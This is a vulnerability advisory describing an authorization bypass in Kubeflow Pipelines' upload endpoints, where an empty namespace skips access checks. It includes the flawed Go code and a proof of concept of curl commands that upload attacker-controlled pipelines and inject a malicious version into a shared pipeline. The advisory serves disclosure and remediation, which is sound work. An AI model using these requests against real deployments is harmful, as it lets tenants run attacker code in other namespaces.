Summary
In multi-user mode, the Kubeflow Pipelines API server's HTTP multipart upload endpoints (POST /apis/v2beta1/pipelines/upload and POST /apis/v2beta1/pipelines/upload_version) perform no authorization when the target namespace is empty. The authorization helper canUploadVersionedPipeline returns nil, skipping SubjectAccessReview, whenever the resolved namespace is the empty string (backend/src/apiserver/server/pipeline_upload_server.go:401-403). An empty namespace is how KFP addresses shared, cluster-wide pipelines and is the default whenever the caller omits the namespace query parameter, because REQUIRE_NAMESPACE_FOR_PIPELINES defaults to false and is unset in every shipped manifest. As a result, an arbitrary low-privilege tenant (or, when the API server is reachable, an unauthenticated caller) can create cluster-shared pipelines and inject new versions into existing shared pipelines, replacing the container image, command, and args that other tenants execute. The gRPC sibling for the same write, canAccessPipeline, instead remaps the empty namespace to the system namespace and authorizes, with a comment stating shared-pipeline writes "must still be authorized". That confirms this is an omission, not intended behavior.
Description
uploadPipeline and uploadPipelineVersion both build a ResourceAttributes{Verb: create} and delegate the access decision to canUploadVersionedPipeline:
// backend/src/apiserver/server/pipeline_upload_server.go:387-421
func (s *PipelineUploadServer) canUploadVersionedPipeline(r *http.Request, pipelineID string, resourceAttributes *authorizationv1.ResourceAttributes) error {
if !common.IsMultiUserMode() {
return nil
}
if len(pipelineID) > 0 {
namespace, err := s.resourceManager.FetchNamespaceFromPipelineId(pipelineID)
if err != nil {
return util.Wrap(err, "Failed to authorize with the Pipeline ID")
}
if len(resourceAttributes.Namespace) == 0 {
resourceAttributes.Namespace = namespace
}
}
if resourceAttributes.Namespace == "" {
return nil // empty namespace = no SubjectAccessReview
}
// ... only here does IsAuthorized() run ...
}
When the namespace is empty (a shared/cluster-wide pipeline, or simply an upload with no namespace parameter), the function returns at line 401-403 and IsAuthorized is never reached.
Reachability is the default. ValidateNamespaceRequired only rejects an empty namespace when IsNamespaceRequiredForPipelines() is true:
// backend/src/apiserver/validation/namespace.go:25-30
func ValidateNamespaceRequired(namespace string) error {
if common.IsMultiUserMode() && common.IsNamespaceRequiredForPipelines() && namespace == "" {
return util.NewInvalidInputError("Namespace is required for pipeline operations")
}
return nil
}
// backend/src/apiserver/common/config.go:73-74 -> default FALSE
func IsNamespaceRequiredForPipelines() bool {
return GetBoolConfigWithDefault(RequireNamespaceForPipelines, false)
}
REQUIRE_NAMESPACE_FOR_PIPELINES (config.go:41) defaults to false and is not set in any manifest under manifests/. So in a default multi-user install, empty namespaces pass validation and flow into the unguarded branch.
The gRPC sibling proves the intended behavior is to authorize empty-namespace writes:
// backend/src/apiserver/server/pipeline_server.go:1290-1306 (canAccessPipeline)
// Skip authorization for read-only operations on shared pipelines in multi-user mode.
// Write operations (create, update, delete) on shared pipelines must still be authorized
// against the KFP system namespace, since shared pipelines have no namespace of their own.
if s.resourceManager.IsEmptyNamespace(resourceAttributes.Namespace) {
if resourceAttributes.Verb == common.RbacResourceVerbGet || resourceAttributes.Verb == common.RbacResourceVerbList {
return nil
}
resourceAttributes.Namespace = common.GetPodNamespace()
// ... IsAuthorized(...) ...
return nil
}
Reads of shared pipelines intentionally skip authorization; writes must be authorized against the system namespace. The upload endpoints only ever perform writes, yet canUploadVersionedPipeline applies the read behavior to them.
Proof of Concept
Reproduced live against the real API server binary (ghcr.io/kubeflow/kfp-api-server@sha256:621fdae9bfcc93405eca299c24f715bc7f17dbb76f1b53e8b2b35852e4d7d423, MULTIUSER=true, REQUIRE_NAMESPACE_FOR_PIPELINES unset). The API server SA holds subjectaccessreviews/tokenreviews: [create] (authz fully functional); identity [email protected] has no RBAC anywhere; victim-ns exists with no grant to the attacker.
- Shared (empty-namespace) pipeline create as the unprivileged attacker (HTTP 200):
curl -F [email protected] -H "kubeflow-userid: [email protected]" \
"http://APISERVER:8888/apis/v2beta1/pipelines/upload?name=shared-pwn"
-> {"pipeline_id":"80cd99df-...","name":"shared-pwn", ...}
- Inject a new version into that shared pipeline, the high-impact primitive (HTTP 200):
curl -F [email protected] -H "kubeflow-userid: [email protected]" \
"http://APISERVER:8888/apis/v2beta1/pipelines/upload_version?name=evilversion&pipelineid=80cd99df-..."
-> {"pipeline_version_id":"32299f65-...","name":"evilversion","pipeline_spec":{ attacker IR }}
- Same create with no identity header at all: HTTP 200 (
anon-shared-pwn created). - Negative control, same attacker,
&namespace=victim-ns (real namespace, no RBAC): HTTP 400, rejected at pipeline_upload_server.go:135 (the canUploadVersionedPipeline error path). Authorization is live; only the empty-namespace branch bypasses it. - Asymmetry, gRPC
POST /apis/v2beta1/pipelines with empty namespace as the same attacker: HTTP 403 PermissionDenied (ResourceAttributes{Namespace:kubeflow,Verb:create,...}). The gRPC path remapped empty to the system namespace and authorized.
API server logs corroborate: every empty-namespace upload logs Upload pipeline called with no following Authorizing request, while every namespaced upload and every gRPC create logs Authorizing request then PermissionDenied. Database state persists the attacker's shared-pwn and anon-shared-pwn pipelines and the injected evilversion; the denied ns-pwn created nothing.
Full scaffolding (run.sh, 01-mysql.yaml through 05-apiserver.yaml, pipeline.yaml, pipeline2.yaml) and captured evidence are available on request.
Impact
In multi-user deployments that permit shared pipelines, a low-privilege tenant can create shared pipelines or add attacker-controlled versions to existing shared pipelines without the required write permission. Direct access to the API server without an authenticating proxy can also expose the bypass to unauthenticated callers; the CVSS vector below assesses the authenticated tenant scenario.
An attacker can upload a malicious version of an existing shared pipeline consumed by a recurring run configured to follow the latest version. On its next scheduled execution, the controller resolves the newly uploaded version and executes it in the consuming run's namespace using its configured service account, without further user interaction. Recurring runs pinned to a specific version or containing an embedded specification are not subject to this automatic substitution.